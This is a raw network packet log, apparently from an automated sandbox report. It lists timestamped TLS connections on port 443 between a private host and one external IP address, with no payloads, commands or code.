Oct 30, 2024 07:28:21.402024984 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.402040005 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.402048111 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.405951977 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.406013966 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.406105995 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.406281948 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.406295061 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.645616055 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.646240950 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.646261930 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.646785975 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.646791935 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.657398939 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.658226013 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.658241987 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.659038067 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.659041882 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.778637886 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.778666973 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.778733015 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.778764009 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.778798103 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.779019117 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.779041052 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.779050112 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.779056072 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.782268047 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.782334089 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.782494068 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.782833099 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.782847881 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.787805080 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.787899971 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.788165092 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.788564920 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.788564920 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.788578987 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.788589001 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.792210102 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.792258978 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.792607069 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.792901039 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.792924881 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.878094912 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.878959894 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.879005909 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.879518986 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.879524946 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.927033901 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.927743912 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.927764893 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.928289890 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.928297043 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.010493040 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.010613918 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.010909081 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.012876034 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.012902975 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.012917042 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.012923002 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.017287016 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.017344952 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.018465042 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.021719933 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.021740913 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.055490017 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.055560112 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.055830002 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.055900097 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.055919886 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.055937052 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.055957079 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.059556007 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.059607983 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.059704065 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.059894085 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.059907913 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.137690067 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.138317108 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.138350010 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.138834953 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.138840914 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.268888950 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.269057035 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.269241095 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.269284964 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.269306898 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.269325018 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.269330978 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.272677898 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.272722960 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.273068905 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.273297071 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.273314953 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.520760059 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.521418095 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.521454096 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.522078991 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.522084951 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.526263952 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.527390957 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.527420998 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.528218031 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.528228998 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.650953054 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.651057005 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.652501106 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.654437065 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.654478073 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.654495001 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.654501915 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.658386946 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.658468962 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.658603907 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.658840895 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.658858061 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.672276020 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.672418118 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.672610044 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.672847986 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.672878981 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.672894955 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.672902107 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.676858902 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.676908016 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.677006006 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.677217007 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.677232981 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.761419058 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.762164116 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.762216091 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.762700081 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.762710094 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.800496101 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.801158905 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.801196098 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.801711082 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.801724911 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.892451048 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.892524958 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.898638010 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.898844957 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.898874044 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.898888111 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.898895025 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.903481960 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.903539896 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.903749943 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.903981924 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.903995037 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.932821989 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.932913065 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.933799028 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.933959007 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.933980942 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.934005022 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.934010983 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.937457085 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.937490940 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.942507029 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.942809105 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:22.942822933 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:22.998709917 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.003113985 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.003144979 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.003695965 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.003704071 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.133528948 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.133605957 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.133691072 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.134049892 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.134074926 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.134090900 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.134097099 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.137439966 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.137490988 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.137599945 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.137782097 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.137794971 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.398073912 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.417397022 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.417423010 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.417908907 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.417915106 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.419506073 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.419842005 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.419868946 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.420200109 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.420207024 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.543620110 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.543649912 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.543708086 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.543795109 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.544075966 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.544105053 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.544126034 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.544132948 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.547883034 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.547946930 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.548110008 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.548336029 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.548346996 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.554323912 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.554792881 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.554858923 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.554903030 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.554924965 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.554939985 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.554945946 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.558093071 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.558142900 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.558223963 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.558422089 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.558438063 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.647258043 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.648085117 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.648118019 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.648647070 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.648653030 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.661268950 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.661962986 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.661986113 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.662489891 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.662494898 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.779613018 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.779712915 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.779844999 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.780167103 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.780181885 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.780222893 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.780230045 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.783278942 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.783305883 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.783396959 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.783584118 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.783592939 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.789509058 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.789561033 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.789608002 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.789669991 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.789709091 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.789978981 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.789999962 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.790013075 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.790018082 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.793118954 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.793167114 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.793237925 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.793386936 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.793401957 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.872492075 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.873338938 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.873378992 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:23.873838902 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:23.873845100 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.006422043 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.006483078 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.006660938 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.007145882 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.007172108 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.007184982 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.007191896 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.010654926 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.010691881 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.010780096 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.010960102 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.010968924 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.282582045 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.283499002 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.283544064 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.283967018 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.283972025 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.292958975 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.293402910 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.293446064 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.293867111 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.293873072 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.415096998 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.415524960 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.415657997 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.415973902 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.415996075 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.416007996 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.416013956 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.423885107 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.423957109 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.424074888 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.424822092 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.424838066 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.424864054 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.424870968 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.427390099 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.427438021 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.427505016 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.427840948 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.427851915 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.428462029 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.428493977 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.430437088 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.430681944 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.430692911 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.514573097 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.515182972 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.515201092 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.515681982 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.515687943 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.522330046 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.522732019 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.522762060 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.523135900 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.523143053 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.644202948 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.644231081 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.644275904 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.644355059 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.644417048 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.644670963 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.644685984 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.644695997 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.644701958 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.647806883 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.647856951 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.647964954 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.648142099 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.648154974 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.651961088 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.652185917 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.652249098 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.652292967 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.652311087 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.652323008 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.652328968 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.654931068 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.654968023 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.655062914 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.655222893 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.655232906 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.758219004 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.758866072 CET	49942	443	192.168.2.4	13.107.246.45
